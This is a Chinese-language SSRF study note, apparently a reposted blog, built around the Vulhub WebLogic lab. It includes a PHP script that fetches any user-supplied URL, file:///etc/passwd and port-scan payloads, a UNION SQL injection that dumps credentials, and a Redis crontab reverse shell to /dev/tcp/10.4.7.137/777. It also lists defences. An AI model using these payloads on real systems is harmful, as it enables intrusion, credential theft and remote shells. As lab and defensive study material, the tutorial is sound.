ssrf学习笔记总结

news2024/11/17 23:54:58

SSRF概述

​ 服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

​ 如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

​ SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

SSRF 场景

php实现

利用curl 实现,需要PHP 扩展组件curl 支持。

// ssrf_curl.php
if(isset($_REQUEST['url'])){
     $link = $_REQUEST['url'];
     $fileName = './curled/'.time().".txt";
     $curlObj = curl_init($link);
     $fp = fopen($fileName,'w');

     curl_setopt($curlObj,CURLOPT_FILE,$fp);
     curl_setopt($curlObj,CURLOPT_HEADER,0);
     curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

     curl_exec($curlObj);
     curl_close($curlObj);
     fclose($fp);

     if(getimagesize($fileName)){
     header("Content-Type:image/png");
     }
      $fp = fopen($fileName,'r');
     $result = fread($fp,filesize($fileName));
     fclose($fp);
     echo $result;
}else{
 echo "?url=[url]";
}

SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

SSRF危害

  • 端口扫描;

  • 内网Web 应用指纹识别;

  • 攻击内网应用;

  • 读取本地文件;

SSRF攻防

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\www\phpMyAdmin">
 #Order allow,deny
 Order deny,allow
 deny from all
 allow from 127.0.0.1
</Directory>

内网应用指纹识别

?url=http://127.0.0.1/phpmyadmin/readme

攻击内网web应用

内网安全通常都很薄弱。

<Directory "c:\www\cms">
 #Order allow,deny
 Order deny,allow
 deny from all
 allow from 127.0.0.1
</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF实例

https://vulhub.org/#/environments/weblogic/ssrf/

判断ssrf漏洞

访问

http://10.4.7.137:7001/uddiexplorer/

image-20231117144443232

漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp

提交搜索并抓包

将此处url解码

image-20231117150146479

点击send发送

获取response,然后右键response发送给compare

image-20231117150311468

然后将url修改为百度,再次重复操作

image-20231117151225241

修改url后伪造服务器请求资源,并且收到response,即存在ssrf

探查内网端口开放情况

端口开放时,会返回404相关错误,虽然没有目录,但是能访问服务器

image-20231117151545430

使用localhost也可以

image-20231117151659744

端口未开放时则返回无法连接类错误

image-20231117151838296

探查内网ip

由于已知7001端口开放,因此可以用该端口探测内网中存活的ip

不存在时即返回无法连接

image-20231117152133486

探测内网地址可以使用爆破

从ssrf利用到redis未授权访问

由于这是容器,看一下redis的端口

image-20231117152730010

docker环境的网段一般是172

此处直接看一下配置文件看看ip

sudo docker ps -a

image-20231117160254922

sudo docker exec -it 8 /bin/bash

这个就是ip

image-20231117160340335

验证一下开放没

image-20231117160553260

发现开放

从redis未授权访问到getshell

将脚本写进去

set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/10.4.7.137/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

圈圈的地方要修改监听ip和监听端口

image-20231117161732114

将脚本文件url编码send,等待一会收到shell

image-20231117161645983

image-20231117161602941

SSRF防御

过滤输入

  • 限制协议,仅允许 http 或 https 协议;(防止使用gopher协议)

  • 限制IP,避免应用被用来获取内网数据,攻击内网;

  • 限制端口,限制请求端口为常用端口。

过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;

  • 统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

web功能url关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1222325.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mount /dev/mapper/centos-root on sysroot failed处理

今天发现centos7重启开不进去系统 通过查看日志主要告警如下 修复挂载目录 xfs_repair /dev/mapper/centos-root不行加-L参数 xfs_repair -L /dev/mapper/centos-root重启 reboot

软件测试基础-01

目标&#xff1a; 1.软件测试的定义&#xff1b; 2.7种测试分类的区别&#xff1b; 3.质量模型的重点5项&#xff1b; 4.测试流程的6个步骤&#xff1b; 5.测试模板8要素&#xff1b; 就业方向&#xff1a; 1.功能测试接口测试 2.功能测试性能测试 3.功能测试web自动化…

DAY57 739. 每日温度 + 496.下一个更大元素 I

739. 每日温度 题目要求&#xff1a; 请根据每日 气温 列表&#xff0c;重新生成一个列表。对应位置的输出为&#xff1a;要想观测到更高的气温&#xff0c;至少需要等待的天数。如果气温在这之后都不会升高&#xff0c;请在该位置用 0 来代替。 例如&#xff0c;给定一个列…

ChatGPT暂时停止开通puls,可能迎来封号高峰期

前言: 前两日,chat gpt的创始人 San Altman在网上发表了,由于注册的使用量超过了他们的承受能力,为了确保每个人的良好使用体验,chat gpt将暂时停止开通gpt plus。 情况: 前段时间好像出现了官网崩溃的情况,就连api key都受到了影响,所以现在就开始了暂时停止puls的注…

OpenAI的Whisper蒸馏:蒸馏后的Distil-Whisper速度提升6倍

1 Distil-Whisper诞生 Whisper 是 OpenAI 研发并开源的一个自动语音识别&#xff08;ASR&#xff0c;Automatic Speech Recognition&#xff09;模型&#xff0c;他们通过从网络上收集了 68 万小时的多语言&#xff08;98 种语言&#xff09;和多任务&#xff08;multitask&am…

零代码编程:用ChatGPT自动合并多个Word文件

一个文件夹中有多个docx格式的word文档&#xff1a; 想要把它们都合并成一个文件&#xff0c;然后打印&#xff0c;可以在ChatGPT中输入提示词&#xff1a; 你是一个Python编程专家&#xff0c;要完成一个处理word内容的任务&#xff0c;具体步骤如下&#xff1a; 打开文件夹…

lvgl 画圆弧时进入 HardFault

目录 一、现象描述 lvgl 版本 二、问题分析 lvgl 需要的资源新建mcu 工程时默认分配的资源问题解决 一、现象描述 移植完lvgl 之后&#xff0c;能正常显示label&#xff0c;但是button arc 等复杂的控件都不能正常显示。调用官方的画圆弧demo 时&#xff0c;在多次调用 _lv…

机器学习第4天:模型优化方法—梯度下降

文章目录 前言 梯度下降原理简述 介绍 可能的问题 批量梯度下降 随机梯度下降 基本算法 存在的问题 退火算法 代码演示 小批量梯度下降 前言 若没有机器学习基础&#xff0c;建议先阅读同一系列以下文章 机器学习第1天&#xff1a;概念与体系漫游-CSDN博客 机器学习…

C语言第入门——第十六课

目录 一、分治策略与递归 二、递归 1.求解n的阶乘 2.输入整数、倒序输出 3.输入整数、正序输出 4.计算第n位Fibonacci数列 ​编辑5.无序整数数组打印 6.找到对应数组下标 一、分治策略与递归 在我们遇到大问题的时候&#xff0c;我们的正确做法是将它分解成小问题&a…

3DMAX平铺插件MaxTiles教程

MaxTiles 结合了一组材质和地图插件&#xff0c;任何建筑师或 3D 可视化艺术家都会喜欢。与静态位图纹理不同&#xff0c;MaxTiles 材质可以更改键合图案、替换和混合砖块、更改边缘、随机化颜色、位置、表面等等。MaxTiles 结合了以下功能&#xff1a; 墙壁和瓷砖 – 用于创建…

【计算思维】蓝桥杯STEMA 科技素养考试真题及解析 5

1、要把下面4张图片重新排列成蜗牛的画像&#xff0c;该如何排列这些图片 A、 B、 C、 D、 答案&#xff1a;A 2、将下图的绳子沿虚线剪开后&#xff0c;绳子被分成了()部分 A、6 B、7 C、8 D、9 答案&#xff1a;C 3、下面的立体图形&#xff0c;沿箭头方向看去&#…

“世亚智博会,世亚软博会”双展联动,3月上海,4月杭州,6月北京

2024世亚智博会与世亚软博会双展联动&#xff0c;3月上海&#xff0c;4月杭州&#xff0c;6月北京&#xff0c;历经多年沉淀与打磨&#xff0c;随着扩张速度的不断加快&#xff0c;参展企业的数量也水涨船高&#xff0c;引领行业前沿趋势&#xff0c;已成为智能产业和软件行业的…

【uniapp】Google Maps

话不多说 直接上干货 提前申请谷歌地图账号一、新建地图 使用h5获取当前定位或者使用三方uniapp插件 var coords ""navigator.geolocation.getCurrentPosition(function(position) {coords {lat: position.coords.latitude,lng: position.coords.longitude};lats …

windows安装wsl2以及ubuntu

查看自己系统的版本 必须运行 Windows 10 版本 2004 及更高版本&#xff08;内部版本 19041 及更高版本&#xff09;或 Windows 11 才能使用以下命令 在设置&#xff0c;系统里面就能看到 开启windows功能 直接winQ搜 开启hyber-V、使用于Linux的Windows子系统、虚拟机平…

让资产权利归于建设者:Kiosk使过程变得更简单

区块链凭借着其将人的权利地位置于平台之上的能力&#xff0c;可以重塑互联网&#xff0c;而自托管为个人提供了控制和管理其资产和数据的能力。链上交易支持建设者和客户之间的点对点交易。这些特质联合起来&#xff0c;可以将数字世界从基于价值提取的模式转变为基于价值创造…

机器学习第7天:逻辑回归

文章目录 介绍 概率计算 逻辑回归的损失函数 单个实例的成本函数 整个训练集的成本函数 鸢尾花数据集上的逻辑回归 Softmax回归 Softmax回归数学公式 Softmax回归损失函数 调用代码 参数说明 结语 介绍 作用&#xff1a;使用回归算法进行分类任务 思想&#xff1a;…

MATLAB 模型预测控制(MPC)控制入门 —— 设计并仿真 MPC 控制器

系列文章目录 文章目录 系列文章目录前言一、使用 MPC Designer 设计控制器1.1 CSTR 模型1.2 导入被控对象并定义 MPC 结构1.3 定义输入和输出通道属性1.4 配置仿真场景1.5 配置控制器水平线1.6 定义输入约束条件1.7 指定控制器调整权重1.8 消除输出超调1.9 测试控制器抗干扰能…

15项基本SCADA技术技能

1. 人机界面 人机界面是将操作员连接到设备、系统或机器的仪表板或用户界面。 以下是 hmi 在 scada 技术人员简历中的使用方式&#xff1a; 完成了查尔斯湖废水处理厂和提升站的完整 HMI 图形界面。对加油系统、加油车、PLC、HMI、触摸屏进行故障排除和维修。对 Horner HMI …

吴恩达《机器学习》8-7:多元分类

在机器学习领域&#xff0c;经常会遇到不止两个类别的分类问题。这时&#xff0c;需要使用多类分类技术。本文将深入探讨多类分类&#xff0c;并结合学习内容中的示例&#xff0c;了解神经网络在解决这类问题时的应用。 一、理解多类分类 多类分类问题是指当目标有多个类别时…

homeassiant主题

下载主题 https://github.com/maartenpaauw/home-assistant-community-themes.git 使用file editor到homeassiant路径下&#xff0c;新建文件夹themes文件夹&#xff0c;用terminal新建也可以。 使用file editor上传文件 使用Terminal解压 mkdir themes unzip home-assistan…